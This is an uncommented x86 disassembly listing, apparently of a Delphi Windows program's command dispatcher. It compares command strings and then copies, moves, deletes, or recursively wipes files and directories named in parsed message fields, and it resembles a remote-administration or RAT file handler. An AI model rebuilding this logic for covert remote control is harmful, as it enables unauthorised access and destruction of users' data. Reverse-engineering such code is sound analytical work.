call fcn.00405db0
mov ecx, dword [ebp - 0x1c4c]
mov edx, dword [0x5d4ca4]
mov edx, dword [edx]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeb6c
call fcn.00405ec0
jne 0x5a3d9b
xor eax, eax
push ebp
push 0x5a3d94
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1c58]
push eax
lea ecx, [ebp - 0x1c5c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c5c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c58]
lea edx, [ebp - 0x1c54]
call fcn.005939c8
mov eax, dword [ebp - 0x1c54]
lea edx, [ebp - 0x1c50]
call fcn.0058ff30
mov eax, dword [ebp - 0x1c50]
call fcn.00593cd4
test al, al
je 0x5a3cc5
push 0
lea eax, [ebp - 0x1c70]
push eax
lea ecx, [ebp - 0x1c74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c74]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c70]
lea edx, [ebp - 0x1c6c]
call fcn.005939c8
mov eax, dword [ebp - 0x1c6c]
lea edx, [ebp - 0x1c68]
call fcn.0058ff30
mov eax, dword [ebp - 0x1c68]
lea edx, [ebp - 0x1c64]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1c64]
lea edx, [ebp - 0x1c60]
call fcn.00589dcc
lea eax, [ebp - 0x1c60]
mov edx, 0x5ae7f0
call fcn.00405d64
mov eax, dword [ebp - 0x1c60]
call fcn.00405f28
push eax
lea edx, [ebp - 0x1c80]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x1c80]
lea edx, [ebp - 0x1c7c]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1c7c]
lea edx, [ebp - 0x1c78]
call fcn.00589dcc
lea eax, [ebp - 0x1c78]
mov edx, 0x5ae7f0
call fcn.00405d64
mov eax, dword [ebp - 0x1c78]
call fcn.00405f28
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x1c8c]
push eax
lea ecx, [ebp - 0x1c90]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1c90]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c8c]
lea edx, [ebp - 0x1c88]
call fcn.005939c8
mov eax, dword [ebp - 0x1c88]
lea edx, [ebp - 0x1c84]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c84]
mov eax, dword [0x5d4824]
call fcn.00405aec
lea eax, [ebp - 0x1c9c]
push eax
lea ecx, [ebp - 0x1ca0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ca0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1c9c]
lea edx, [ebp - 0x1c98]
call fcn.005939c8
mov eax, dword [ebp - 0x1c98]
lea edx, [ebp - 0x1c94]
call fcn.0058ff30
mov edx, dword [ebp - 0x1c94]
mov eax, dword [0x5d4734]
call fcn.00405aec
mov eax, dword [0x5d48a8]
mov byte [eax], 0
lea eax, [ebp - 0x1ca4]
push eax
lea ecx, [ebp - 0x1ca8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ca8]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ca4]
call fcn.005936d4
mov edx, dword [0x5d504c]
mov byte [edx], al
mov eax, dword [0x5d4ba8]
mov byte [eax], 0
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b900]
call fcn.0042a3cc
mov dword [ebp - 0x52c], eax
lea edx, [ebp - 0x1cac]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0x1cac]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1cb0]
mov eax, 0x5ad954
call fcn.0058fff8
mov eax, dword [ebp - 0x1cb0]
call fcn.005b3ae8
mov eax, dword [ebp - 0x52c]
call fcn.0058edbc
mov eax, dword [0x5d4ba8]
cmp byte [eax], 0
je 0x5a3966
mov eax, dword [0x5d4f04]
mov byte [eax], 0
lea eax, [ebp - 0x1cc4]
push eax
lea ecx, [ebp - 0x1cc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cc8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1cc4]
lea edx, [ebp - 0x1cc0]
call fcn.005939c8
mov eax, dword [ebp - 0x1cc0]
lea edx, [ebp - 0x1cbc]
call fcn.0058ff30
mov eax, dword [ebp - 0x1cbc]
lea edx, [ebp - 0x1cb8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x1cb8]
lea edx, [ebp - 0x1cb4]
call fcn.00589dcc
lea eax, [ebp - 0x1cb4]
mov edx, 0x5ae7f0
call fcn.00405d64
mov eax, dword [ebp - 0x1cb4]
mov dword [ebp - 0x740], eax
mov eax, dword [ebp - 0x740]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x741], al
lea eax, [ebp - 0x1cd4]
push eax
lea ecx, [ebp - 0x1cd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cd8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1cd4]
lea edx, [ebp - 0x1cd0]
call fcn.005939c8
mov eax, dword [ebp - 0x1cd0]
lea edx, [ebp - 0x1ccc]
call fcn.0058ff30
mov eax, dword [ebp - 0x1ccc]
mov dword [ebp - 0x748], eax
mov eax, dword [ebp - 0x748]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x749], al
lea eax, [ebp - 0x1ce4]
push eax
lea ecx, [ebp - 0x1ce8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1ce8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1ce4]
lea edx, [ebp - 0x1ce0]
call fcn.005939c8
mov eax, dword [ebp - 0x1ce0]
lea edx, [ebp - 0x1cdc]
call fcn.0058ff30
lea eax, [ebp - 0x1cdc]
mov edx, 0x5aeb8c
call fcn.00405d64
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x750], eax
lea eax, [ebp - 0x1cf4]
push eax
lea ecx, [ebp - 0x1cf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cf8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1cf4]
lea edx, [ebp - 0x1cf0]
call fcn.005939c8
mov eax, dword [ebp - 0x1cf0]
lea edx, [ebp - 0x1cec]
call fcn.0058ff30
mov eax, dword [ebp - 0x1cec]
mov dword [ebp - 0x754], eax
mov eax, dword [ebp - 0x754]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x750]
call fcn.00405f28
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x755], al
mov eax, dword [0x5d4d3c]
mov eax, dword [eax]
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1cfc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1cfc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3b0], 0
je 0x5a3d77
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a3c80
lea edx, [ebp - 0x1d00]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1d00]
push eax
lea eax, [ebp - 0x1d04]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d04]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1d08]
mov eax, dword [ebp - 0x54c]
call fcn.0040b1ec
mov eax, dword [ebp - 0x1d08]
push eax
lea eax, [ebp - 0x1d0c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d0c]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
jmp 0x5a3d77
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d10]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3b0], 0
je 0x5a3d77
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a3d4b
lea edx, [ebp - 0x1d14]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1d14]
push eax
lea eax, [ebp - 0x1d18]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d18]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1d1c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d1c]
mov edx, 0x5aeb9c
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aeba8
call fcn.00405ec0
jne 0x5a4093
xor eax, eax
push ebp
push 0x5a408c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1d28]
push eax
lea ecx, [ebp - 0x1d2c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d2c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d28]
lea edx, [ebp - 0x1d24]
call fcn.005939c8
mov eax, dword [ebp - 0x1d24]
lea edx, [ebp - 0x1d20]
call fcn.0058ff30
mov edx, dword [ebp - 0x1d20]
mov eax, dword [0x5d4824]
call fcn.00405aec
lea eax, [ebp - 0x1d30]
push eax
lea ecx, [ebp - 0x1d34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d34]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d30]
call fcn.005936d4
mov edx, dword [0x5d48a8]
mov byte [edx], al
lea eax, [ebp - 0x1d40]
push eax
lea ecx, [ebp - 0x1d44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d44]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d40]
lea edx, [ebp - 0x1d3c]
call fcn.005939c8
mov eax, dword [ebp - 0x1d3c]
lea edx, [ebp - 0x1d38]
call fcn.0058ff30
mov edx, dword [ebp - 0x1d38]
mov eax, dword [0x5d4734]
call fcn.00405aec
lea eax, [ebp - 0x1d48]
push eax
lea ecx, [ebp - 0x1d4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d4c]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d48]
call fcn.005936d4
mov edx, dword [0x5d504c]
mov byte [edx], al
mov eax, dword [0x5d4ba8]
mov byte [eax], 0
mov eax, dword [0x5d4f04]
mov byte [eax], 1
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58b900]
call fcn.0042a3cc
mov dword [ebp - 0x52c], eax
lea edx, [ebp - 0x1d50]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0x1d50]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0x1d54]
mov eax, 0x5ad954
call fcn.0058fff8
mov eax, dword [ebp - 0x1d54]
call fcn.005b3ae8
mov eax, dword [ebp - 0x52c]
call fcn.0058edbc
mov eax, dword [0x5d4ba8]
cmp byte [eax], 0
je 0x5a3f3a
mov eax, dword [0x5d4f04]
mov byte [eax], 0
mov eax, dword [0x5d4d3c]
mov eax, dword [eax]
mov dword [ebp - 0x54c], eax
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d58]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d58]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3b0], 0
je 0x5a406f
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a402f
lea edx, [ebp - 0x1d5c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1d5c]
push eax
lea eax, [ebp - 0x1d60]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d60]
xor edx, edx
pop eax
call fcn.0059002c
lea edx, [ebp - 0x1d64]
mov eax, dword [ebp - 0x54c]
call fcn.0040b1ec
mov eax, dword [ebp - 0x1d64]
push eax
lea eax, [ebp - 0x1d68]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d68]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebbc
call fcn.00405ec0
jne 0x5a41d1
xor eax, eax
push ebp
push 0x5a41ca
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d6c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d6c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea eax, [ebp - 0x1d70]
push eax
lea ecx, [ebp - 0x1d74]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d74]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d70]
call fcn.005936d4
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x1d78]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1d78]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
cmp byte [ebp - 0x57d], 0
je 0x5a416f
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a7a4
jmp 0x5a4180
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x3c0]
call fcn.0058a638
lea eax, [ebp - 0x1d7c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d7c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebd4
call fcn.00405ec0
jne 0x5a42ff
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1d80]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d80]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea eax, [ebp - 0x1d84]
push eax
lea ecx, [ebp - 0x1d88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d88]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d84]
call fcn.005936d4
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0x1d8c]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1d8c]
lea edx, [ebp - 0x3c0]
call fcn.0058ff30
cmp byte [ebp - 0x57d], 0
je 0x5a42ab
lea edx, [ebp - 0x1d90]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abac
mov edx, dword [ebp - 0x1d90]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
jmp 0x5a42cd
lea edx, [ebp - 0x1d94]
mov eax, dword [ebp - 0x3c0]
call fcn.0040abe4
mov edx, dword [ebp - 0x1d94]
lea eax, [ebp - 0x3c0]
call fcn.00405b30
lea eax, [ebp - 0x1d98]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1d98]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aebec
call fcn.00405ec0
jne 0x5a45bf
lea eax, [ebp - 0x1d9c]
push eax
lea ecx, [ebp - 0x1da0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1da0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1d9c]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a4393
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1da4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1da4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
lea eax, [ebp - 0x1da8]
push eax
lea ecx, [ebp - 0x1dac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dac]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1da8]
call fcn.005936d4
mov byte [ebp - 0x580], al
lea eax, [ebp - 0x1db0]
push eax
lea ecx, [ebp - 0x1db4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1db4]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1db0]
call fcn.005936d4
mov byte [ebp - 0x581], al
cmp byte [ebp - 0x580], 0
jne 0x5a4438
cmp byte [ebp - 0x581], 0
jne 0x5a4438
movzx eax, byte [0x5ae29c]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
je 0x5a4457
cmp byte [ebp - 0x581], 0
je 0x5a4457
movzx eax, byte [0x5ae3c8]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
je 0x5a4476
cmp byte [ebp - 0x581], 0
jne 0x5a4476
movzx eax, byte [0x5aebfc]
mov byte [ebp - 0x631], al
cmp byte [ebp - 0x580], 0
jne 0x5a4495
cmp byte [ebp - 0x581], 0
je 0x5a4495
movzx eax, byte [0x5ae298]
mov byte [ebp - 0x631], al
movzx eax, byte [ebp - 0x631]
push eax
lea eax, [ebp - 0x1db8]
push eax
lea eax, [ebp - 0x1dc4]
push eax
lea ecx, [ebp - 0x1dc8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dc8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1dc4]
lea edx, [ebp - 0x1dc0]
call fcn.005939c8
mov eax, dword [ebp - 0x1dc0]
lea edx, [ebp - 0x1dbc]
call fcn.0058feb0
mov eax, dword [ebp - 0x1dbc]
push eax
lea eax, [ebp - 0x1dd4]
push eax
lea ecx, [ebp - 0x1dd8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dd8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1dd4]
lea edx, [ebp - 0x1dd0]
call fcn.005939c8
mov eax, dword [ebp - 0x1dd0]
lea edx, [ebp - 0x1dcc]
call fcn.0058feb0
mov eax, dword [ebp - 0x1dcc]
push eax
lea edx, [ebp - 0x1ddc]
mov eax, dword [ebp - 0x3b0]
call fcn.0058fff8
mov eax, dword [ebp - 0x1ddc]
pop edx
pop ecx
call fcn.004ad574
mov eax, dword [ebp - 0x1db8]
push eax
lea edx, [ebp - 0x1de0]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1de0]
push eax
lea eax, [ebp - 0x1de4]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1de4]
pop eax
pop edx
call fcn.0059002c
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec08
call fcn.00405ec0
jne 0x5a485a
xor eax, eax
push ebp
push 0x5a4853
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1de8]
push eax
lea ecx, [ebp - 0x1dec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1de8]
lea edx, [ebp - 0x3b0]
call fcn.005af5ec
cmp dword [ebp - 0x3b0], 0
jne 0x5a4666
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x1df0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1df0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x644], 0
push 0
lea eax, [ebp - 0x648]
push eax
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x1df8]
push eax
lea ecx, [ebp - 0x1dfc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1dfc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1df8]
lea edx, [ebp - 0x1df4]
call fcn.0058ff30
mov eax, dword [ebp - 0x1df4]
call fcn.00405f28
push eax
mov eax, dword [0x5d4ab8]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a4741
lea edx, [ebp - 0x1e00]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e00]
push eax
lea eax, [ebp - 0x1e04]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e04]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x1e08]
push eax
lea ecx, [ebp - 0x1e0c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e0c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e08]
call fcn.005936d4
test al, al
je 0x5a47dd
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
lea eax, [ebp - 0x1e10]
call fcn.0040b2d8
mov eax, dword [ebp - 0x1e10]
push eax
lea edx, [ebp - 0x1e14]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e14]
push eax
lea eax, [ebp - 0x1e18]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e18]
pop eax
pop edx
call fcn.00590064
jmp 0x5a4836
push dword [ebp - 0x644]
push dword [ebp - 0x648]
lea eax, [ebp - 0x1e1c]
call fcn.0040b2d8
mov eax, dword [ebp - 0x1e1c]
push eax
lea edx, [ebp - 0x1e20]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x1e20]
push eax
lea eax, [ebp - 0x1e24]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x1e24]
pop eax
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5aec24
call fcn.00405ec0
jne 0x5a4a58
xor eax, eax
push ebp
push 0x5a4a51
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
xor ebx, ebx
test ebx, ebx
je 0x5a4890
mov eax, ebx
call fcn.00404b38
lea eax, [ebp - 0x1e2c]
push eax
lea ecx, [ebp - 0x1e30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e30]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x1e2c]
lea edx, [ebp - 0x1e28]
call fcn.0058ff30
mov eax, dword [ebp - 0x1e28]
mov cl, 1
mov dl, 1
call fcn.0057a77c
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x54c], eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a4979
mov dword [ebp - 0x550], eax
push 0x80
lea ecx, [ebp - 0x1e34]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e34]
call fcn.00405f28
push eax
call sub.kernel32.dll_SetFileAttributesA
lea ecx, [ebp - 0x1e38]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e38]
mov dword [ebp - 0x75c], eax
mov eax, dword [ebp - 0x75c]
call fcn.00405f28
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x75d], al
dec dword [ebp - 0x550]
cmp dword [ebp - 0x550], 0
jne 0x5a4903
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5a49bf
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x1e3c]
mov edx, dword [ebp - 0x550]
dec edx
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 0x1e3c]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x550]
cmp dword [ebp - 0x550], 0
jne 0x5a498b
mov eax, ebx
call fcn.00404b38
lea eax, [ebp - 0x1e44]
push eax
lea ecx, [ebp - 0x1e48]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1e48]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
